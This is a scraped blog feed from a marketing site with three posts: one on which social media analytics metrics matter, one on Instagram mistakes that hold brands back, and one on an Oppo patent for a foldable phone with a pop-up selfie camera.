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]]> Your social media pages seem to have a lot of likes/followers but sooner or later you realise that despite having so many followers, you cannot convert them into sales or leads. Surely something must be wrong somewhere.

That is because you celebrated something knows as a vanity metrics which does not add any real value to your business.

Social media analytics is a powerful tool and can tell you what your customers are expecting from your brand. With analytics, you can gain valuable insights such as

Your audience’s likes and dislikes
How many followers turn into website traffic
How engaged your followers are with your pages and page posts
The percentage of traffic that converts into your desired goal

Let’s try to understand some metrics that are really important

Social Reach
One of the top metrics to track is reach – a measure of how many users your posts are reaching. The higher this number, the more exposure your content receives. While reach cannot be your sole metric of success, it is an indicator of how well your accounts and content can attract new audience members. Reach metrics are usually easily accessible on the insights page (or tab) of your social media profile.
Referrals
Determine how well your social media content leads people to your website by evaluating referral traffic.

Google Analytics is a great resource for tracking referrals. Go to Acquisition –> Social and observe which of your social media networks are driving traffic to your site and how they are converting.

To improve the referral traffic, create more engaging calls to action in your social media posts. Give them a reason to click.
Bounce rate
Users often visit your home page and never go further on your website. To see how frequently this happens, check your bounce rate metrics. If your bounce rate is high from your social media traffic, you can see your visitors were interested in the social post – they clicked on a link – but the site content didn’t deliver – they quickly exited.
Follower growth rate
Your follower growth rate is another important metric to show if your content is resonating with people. It helps you determine whether you’re posting regularly enough to grow your audience and if your posts resonate well with your target audience. Every social media platform displays your number of followers and the growth (or decline). If your growth rate is sluggish, consider implementing some changes to post frequency, content topics, format, etc.
Engagement
Social media engagement shows how many people interact with your content. You may find that your audience engages more with an infographic than a text-based post. Or you could learn they prefer one topic more than another. All of that can inform your future content decisions. A strong engagement rate indicates your brand is connecting well with your audience.

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]]> Instagram Mistakes That Stop Your Brand From Growing https://blog.codemarketing.com/instagram-mistakes-that-stop-your-brand-from-growing/ Sun, 14 Jul 2019 05:00:20 +0000 http://blog.codemarketing.com/?p=1248 With more than 25 million business profiles and over 200 million visiting at least one business profile daily, Instagram isn’t the easiest social media channel for brands to master. It can be frustrating to get the attention of the rather distracted users. However, too many brands are making mistakes that can be easily fixed, which …

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]]> With more than 25 million business profiles and over 200 million visiting at least one business profile daily, Instagram isn’t the easiest social media channel for brands to master. It can be frustrating to get the attention of the rather distracted users. However, too many brands are making mistakes that can be easily fixed, which will help their Instagram platform grow.

Little to no engagement
Other than rushing out to post content, One should make time to reply to comments and also interacting with other accounts who share mutual interests. Just constantly posting content and hoping that Instagram will wave its magic wand and make your brand popular will not work. You need to give context to the images/videos you’re posting. You should search for relevant hashtags for your post and interact with other similar posts and comment on them. Your comments should be natural and should spark a conversation. You should avoid comments like ‘Nice’, ‘Awesome’ etc
Wrong Hashtags
Hashtags are an integral part of Instagram marketing. They can be a great way to increase your Instagram visibility and allow your posts to reach an audience who shares and are interested in the content you post or the services you offer. However for them to be effective you have to use them correctly as using the wrong hashtags can be damaging to your brand. You should find tags to match your brand and track the performance of them and then make a list of the most effective ones for future posts. You should create branded hashtags with a long-term vision with the intent of reaching new audiences and sparking conversations.
Constant Self Promotion
Instagram is a platform where you’re supposed to interact with others. Constant self-promotion is one of the most anti interactive things you can do as it makes you seem desperate and boring. Even though you might have great and fascinating stories to tell about your business, you should avoid telling them all at once. Seeing multiple photos in a feed coming from the same account can be a turn off to some users. If you have a lot of content to post you can use the Instagram story feature or go live.
Too much-polished content???
New and established brands publish a lot of polished content to give the followers the impression that they invest a great amount of time and skill to come up with such posts and also represent their attention to detail. A post published by the guardian which analysed Instagram data stated that this might be counterproductive as your followers would rather see more realistic and authentic posts and react better to that. You should focus on sharing more real and simple content as simplicity is key when creating relatable content
Avoid Bots(Fake Comments, Likes, Followers)
It’s getting harder to grow an organic following on Instagram given its paid advertising approach. It might be tempting to spend a few dollars and get a bunch and followers and links and generate fake engagement in a matter of a few hours.
Even though you have the follower, like stats those followers are dead weight and do not generate any income or sales for your brand. The only way to grow is to share quality content.
Have an Instagram strategy
Creating Instagram marketing strategies on the blind is as good as having no strategy. Have only one strategy with one goal, whether it’s to drive traffic to your website, to create brand awareness, or something else. What will help you stick to your strategy is looking at the right Instagram analytics

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]]> New patent shows a foldable phone with a pop-up camera https://blog.codemarketing.com/new-patent-shows-a-foldable-phone-with-a-pop-up-camera/ Sun, 16 Jun 2019 08:00:21 +0000 http://blog.codemarketing.com/?p=1188 In the last few months, most of the big names in the mobile phone industries have unveiled the foldable design in some shape or form. From the Samsung galaxy fold to the Huawei Mate X. But recently the guys over at ‘Let’s go digital’ spotted a patent for a foldable phone with a popup selfie …

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]]> In the last few months, most of the big names in the mobile phone industries have unveiled the foldable design in some shape or form. From the Samsung galaxy fold to the Huawei Mate X. But recently the guys over at ‘Let’s go digital’ spotted a patent for a foldable phone with a popup selfie camera by Oppo at the World Intellectual Property Office.

This is not the first time Oppo has attempted to have a sliding camera in a phone. The ‘Oppo Find X’ released in Q2 of 2018 has this sliding camera concept. The camera faces inwards when the device is in tablet mode but can old be used facing outwards depending on how you hold the device.

LetsGoDigital

The sliding camera removes the need for a notch as seen in the galaxy fold which means that the device can have an edge to edge display without cutting out any part of the image. And its also doesn’t need a camera grip like the Huawei mate X since there isn’t any rear camera.

LetsGoDigital

The downside of having a sliding camera like this is that you have to fold the device in a certain way to change from selfie mode and that you cannot use the entire screen as a viewfinder.

In any event, we have to remember that this is just a patent and might never go into mass production

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